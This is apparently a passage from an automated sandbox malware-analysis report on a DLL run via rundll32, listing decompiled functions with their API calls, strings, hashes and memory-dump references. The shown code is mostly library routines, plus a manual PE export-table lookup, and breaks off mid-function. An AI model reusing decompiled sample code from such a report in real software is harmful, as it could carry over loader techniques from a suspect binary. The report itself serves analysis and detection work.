					_t16 = E1000E725(_t21, 0x1005a8e0, _t24, _t26, _t30);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						__eflags = _t17;
						 *(_t26 + 8) = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

APIs

Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
Part of subcall function 1001431B: InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
Part of subcall function 1001431B: LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 100139F5: __EH_prolog3_catch.LIBCMT ref: 100139FC

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 10010C53
FreeLibrary.KERNEL32(?), ref: 10010C63

Strings

hhctrl.ocx, xrefs: 10010C37
HtmlHelpA, xrefs: 10010C4D

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction ID: 8873b40b3358b87e9332ca8c9146562190e137befea279647b799a71fcd87530
Opcode Fuzzy Hash: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction Fuzzy Hash: 7001F431204303DFE321DFA1DE05B4A76E0EF05781F018A08F4DAA8061DBB1D8D0DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 100224E9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E100224E9() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x1002bb98;
					_v28 =  *0x1002bb90;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32,1001A130), ref: 100224EE
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 100224FE

Strings

KERNEL32, xrefs: 100224E9
IsProcessorFeaturePresent, xrefs: 100224F8

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction ID: b1380c49f8d15cda8b98f9f56e3724ed638b8beb480886d8724856f67b077174
Opcode Fuzzy Hash: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction Fuzzy Hash: EDF03030900D1EE2EF00ABE1BC596AF7A78FB44785FD20490E681B0088DF7181718681

Uniqueness

Uniqueness Score: -1.00%

Function 10002D50, Relevance: 6.4, APIs: 5, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002D50(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				signed short* _v36;
				intOrPtr _v40;
				void* _t79;
				void* _t119;

				_v40 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v12 = 0;
				_v16 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v16 + 4)) != 0) {
					_v8 = _v20 +  *_v16;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0x0000ffff) != 0) {
							_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x20));
							_v36 = _v20 +  *((intOrPtr*)(_v8 + 0x24));
							_v24 = 0;
							_v28 = 0;
							while(_v28 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t79 = E10001F70(_a8, _v20 +  *_v32);
								_t119 = _t119 + 8;
								if(_t79 != 0) {
									_v28 = _v28 + 1;
									_v32 = _v32 + 4;
									_v36 =  &(_v36[1]);
									continue;
								}
								_v12 =  *_v36 & 0x0000ffff;
								_v24 = 1;
								break;
							}
							if(_v24 != 0) {
								L17:
								if(_v12 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v20 +  *((intOrPtr*)(_v20 +  *((intOrPtr*)(_v8 + 0x1c)) + _v12 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v12 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

APIs

SetLastError.KERNEL32(0000007F), ref: 10002D7F
SetLastError.KERNEL32(0000007F), ref: 10002DAB

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction ID: 028074866867044f4bb64f701422ec5252acdb94d91fdee864382ef112f730bb
Opcode Fuzzy Hash: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction Fuzzy Hash: F7510570A4415AEFEF04CF94C880AAEB7F1FF48384F608569D855AB349D734EA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10023E83, Relevance: 6.1, APIs: 4, Instructions: 101
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10023E83(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E10016E2B( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E1001E243( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E10017D62(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0xa045ff98
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0xa045ff98
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								__eflags = _v8;
								_t27 = _t56 + 0xac; // 0xa045ff98
								_t57 =  *_t27;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10023EB3
__isleadbyte_l.LIBCMT ref: 10023EE7
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F18
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F86

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction ID: bc0a73e0192d900c1d89498958e44598309ec6eeb61669affd2269eacaf1277d
Opcode Fuzzy Hash: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction Fuzzy Hash: EA319931A0028AEFDF50DFA4E891AAE7BF9EF00251F92C5A9F4648B191D330E944DB50

Uniqueness

Uniqueness Score: -1.00%

Function 100145B9, Relevance: 6.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E100145B9(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E1000D61F(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E1000D5EC(_t51, _t65, 0, _t77) + 4));
					_t70 = E100139DB(0x10058f44);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E1001A023(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E10016380(_t51, _t66, _t70, _t83);
								}
								_t37 = E1001703B(_t51, _t64, _t66, _t70,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E1001703B(_t51, _t64, _t66, _t70, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E1001A023(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E1000B510();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E100144ED( *((intOrPtr*)(_t51 + 0x20)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x18)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x14)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

APIs

__msize.LIBCMT ref: 1001464A
__msize.LIBCMT ref: 1001466D
_malloc.LIBCMT ref: 10014685
_malloc.LIBCMT ref: 1001469A

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction ID: c51f58ba7030090f65d8388f2f6216d6b95cef8c4540db251b535ec9dede0d79
Opcode Fuzzy Hash: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction Fuzzy Hash: 2E21F375500A019FCB55DF34D881B5A73E4FF05298B22842AE869DF266DF30ECC1CB82

Uniqueness

Uniqueness Score: -1.00%

Function 10009D34, Relevance: 6.1, APIs: 4, Instructions: 58
windowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E10009D34(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t40;
				void* _t42;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E10017BC1(E10027DA5, __ebx, __edi, __esi);
				_t35 = E10009B91(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E10009CDE(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E10017C83( &_a4, 0x1002e16c);
				asm("int3");
				_t40 = _t42;
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E10009C0D(0, _t36, _t37, _t38, _t40, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

APIs

__EH_prolog3.LIBCMT ref: 10009D3B

Part of subcall function 10009B91: _malloc.LIBCMT ref: 10009BAB

__CxxThrowException@8.LIBCMT ref: 10009D71
FormatMessageA.KERNEL32(00001100,00000000,8007000E,00000800,?,00000000,00000000,?,?,8007000E,1002E16C,00000004,1000105C,8007000E), ref: 10009D9A

Part of subcall function 10009C0D: _wctomb_s.LIBCMT ref: 10009C1D

LocalFree.KERNEL32(?), ref: 10009DC3

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow_malloc_wctomb_s
String ID:
API String ID: 1615547351-0
Opcode ID: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction ID: 2087144037a306e6c8b96e697859ee983d4da7c50e84c085b7e4f49f0a09e647
Opcode Fuzzy Hash: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction Fuzzy Hash: 1E1170B1644249AFEB00DFA4DC81DAE3BA9FB04390F21452AF629CA1D1D731D9508B51

Uniqueness

Uniqueness Score: -1.00%

Function 1000C887, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E1000C887(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t23;
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t32;
				signed int _t34;
				signed short _t35;
				void* _t37;
				signed short* _t40;

				_push(__ecx);
				_push(_t28);
				_t37 = __ecx;
				_t42 =  *((intOrPtr*)(__ecx + 0x58));
				_t40 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t32 =  *(E1000D5EC(_t28, __ecx, _t40, _t42) + 0xc);
					_v8 = LoadResource(_t32, FindResourceA(_t32,  *(_t37 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t40 = LockResource(_v8);
				}
				_t30 = 1;
				if(_t40 != 0) {
					_t35 =  *_t40;
					if(_t40[1] != 0xffff) {
						_t23 = _t40[5] & 0x0000ffff;
						_t34 = _t40[6] & 0x0000ffff;
					} else {
						_t35 = _t40[6];
						_t23 = _t40[9] & 0x0000ffff;
						_t34 = _t40[0xa] & 0x0000ffff;
					}
					if((_t35 & 0x00001801) != 0 || _t23 != 0 || _t34 != 0) {
						_t30 = 0;
					}
				}
				if( *(_t37 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t30;
			}

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 1000C8AD
LoadResource.KERNEL32(?,00000000), ref: 1000C8B5
LockResource.KERNEL32(00000000), ref: 1000C8C7
FreeResource.KERNEL32(00000000), ref: 1000C911

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction ID: fb1a28c5f31200e3abd4209bdb6f3add133a5505808a0a6cde1b54a47ab738f1
Opcode Fuzzy Hash: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction Fuzzy Hash: 46118F3150076AEFE710DF95C889AAAB3F5FF003D5F218029E84252594D770ED50D760

Uniqueness

Uniqueness Score: -1.00%

Function 1000ADB5, Relevance: 6.1, APIs: 4, Instructions: 56
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E1000ADB5(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				intOrPtr _t43;
				void* _t45;
				intOrPtr* _t51;
				void* _t52;
				void* _t53;

				_t53 = __eflags;
				_t46 = __ecx;
				_t44 = __ebx;
				_push(4);
				E10017BC1(E10027E86, __ebx, __edi, __esi);
				_t51 = __ecx;
				 *((intOrPtr*)(_t52 - 0x10)) = __ecx;
				E1000B862(__ebx, __ecx, __edi, __ecx, _t53);
				_t54 =  *((intOrPtr*)(_t52 + 8));
				 *((intOrPtr*)(_t52 - 4)) = 0;
				 *_t51 = 0x10029f54;
				if( *((intOrPtr*)(_t52 + 8)) == 0) {
					 *((intOrPtr*)(_t51 + 0x50)) = 0;
				} else {
					_t43 = E1001817A( *((intOrPtr*)(_t52 + 8)));
					_pop(_t46);
					 *((intOrPtr*)(_t51 + 0x50)) = _t43;
				}
				_t45 = E1000D5EC(_t44, 0, _t51, _t54);
				_t55 = _t45;
				if(_t45 == 0) {
					L4:
					E1000A0DB(_t45, _t46, 0, _t51, _t55);
				}
				_t7 = _t45 + 0x74; // 0x74
				_t46 = _t7;
				_t37 = E1000AA21(_t45, _t7, 0, _t51, _t55);
				if(_t37 == 0) {
					goto L4;
				}
				 *((intOrPtr*)(_t37 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x2c)) = GetCurrentThread();
				 *((intOrPtr*)(_t51 + 0x30)) = GetCurrentThreadId();
				 *((intOrPtr*)(_t45 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x44)) = 0;
				 *((intOrPtr*)(_t51 + 0x7c)) = 0;
				 *((intOrPtr*)(_t51 + 0x64)) = 0;
				 *((intOrPtr*)(_t51 + 0x68)) = 0;
				 *((intOrPtr*)(_t51 + 0x54)) = 0;
				 *((intOrPtr*)(_t51 + 0x60)) = 0;
				 *((intOrPtr*)(_t51 + 0x88)) = 0;
				 *((intOrPtr*)(_t51 + 0x58)) = 0;
				 *((short*)(_t51 + 0x92)) = 0;
				 *((short*)(_t51 + 0x90)) = 0;
				 *((intOrPtr*)(_t51 + 0x48)) = 0;
				 *((intOrPtr*)(_t51 + 0x8c)) = 0;
				 *((intOrPtr*)(_t51 + 0x80)) = 0;
				 *((intOrPtr*)(_t51 + 0x84)) = 0;
				 *((intOrPtr*)(_t51 + 0x70)) = 0;
				 *((intOrPtr*)(_t51 + 0x74)) = 0;
				 *((intOrPtr*)(_t51 + 0x94)) = 0;
				 *((intOrPtr*)(_t51 + 0x9c)) = 0;
				 *((intOrPtr*)(_t51 + 0x5c)) = 0;
				 *((intOrPtr*)(_t51 + 0x6c)) = 0;
				 *((intOrPtr*)(_t51 + 0x98)) = 0x200;
				return E10017C60(_t51);
			}

APIs

__EH_prolog3.LIBCMT ref: 1000ADBC

Part of subcall function 1000B862: __EH_prolog3.LIBCMT ref: 1000B869

__strdup.LIBCMT ref: 1000ADDE
GetCurrentThread.KERNEL32 ref: 1000AE0B
GetCurrentThreadId.KERNEL32 ref: 1000AE14

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction ID: f8307bcc4145d2f3034cc24c4785684ef343d47fe4738e0b5029f7ba663f9659
Opcode Fuzzy Hash: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction Fuzzy Hash: 88217EB4800B50CFE721DF6A858564AFBF8FFA4680F10891FD59A87A25CBB0A581CF45

Uniqueness

Uniqueness Score: -1.00%

Function 1001170E, Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1001170E(intOrPtr* __ecx) {
				char _v20;
				intOrPtr _v32;
				void* __ebx;
				void* __edi;
				intOrPtr* __esi;
				struct HWND__* _t18;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t33;

				_t28 = __ecx;
				_push(0);
				_t33 = __ecx;
				if( *((intOrPtr*)( *__ecx + 0x120))() != 0) {
					__eax =  *__esi;
					__ecx = __esi;
					__eax =  *((intOrPtr*)( *__esi + 0x170))();
				}
				_t30 = SendMessageA;
				SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
				E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
				_t28 = _t33;
				_t33 = E10010DEC(0, _t28, SendMessageA);
				if(_t33 != 0) {
					SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
					E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
					_t18 = GetCapture();
					if(_t18 != 0) {
						_t18 = SendMessageA(_t18, 0x1f, 0, 0);
					}
					return _t18;
				} else {
					_push(_t28);
					_v20 = 0x10057298;
					E10017C83( &_v20, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, 0, SendMessageA, _t33);
					_t29 = E10013965(0x104);
					_v32 = _t29;
					_t24 = 0;
					_v20 = 0;
					if(_t29 != 0) {
						_t24 = E1000CF71(_t29);
					}
					return E10017C60(_t24);
				}
			}

APIs

SendMessageA.USER32 ref: 10011738
SendMessageA.USER32 ref: 10011763

Part of subcall function 1001044A: GetTopWindow.USER32(00000000), ref: 10010458

GetCapture.USER32 ref: 10011775
SendMessageA.USER32 ref: 10011784

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$CaptureWindow
String ID:
API String ID: 729421689-0
Opcode ID: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction ID: c1fa24ad5068faa30316ff7830c17e6e1fa791912a80157e4ea929c0746033bf
Opcode Fuzzy Hash: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction Fuzzy Hash: EF012CB5350219BFF621AB608CC9FBA36ADEB487C4F010539F685AA1E2C6A19C415660

Uniqueness

Uniqueness Score: -1.00%

Function 10013F17, Relevance: 6.1, APIs: 4, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F17(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
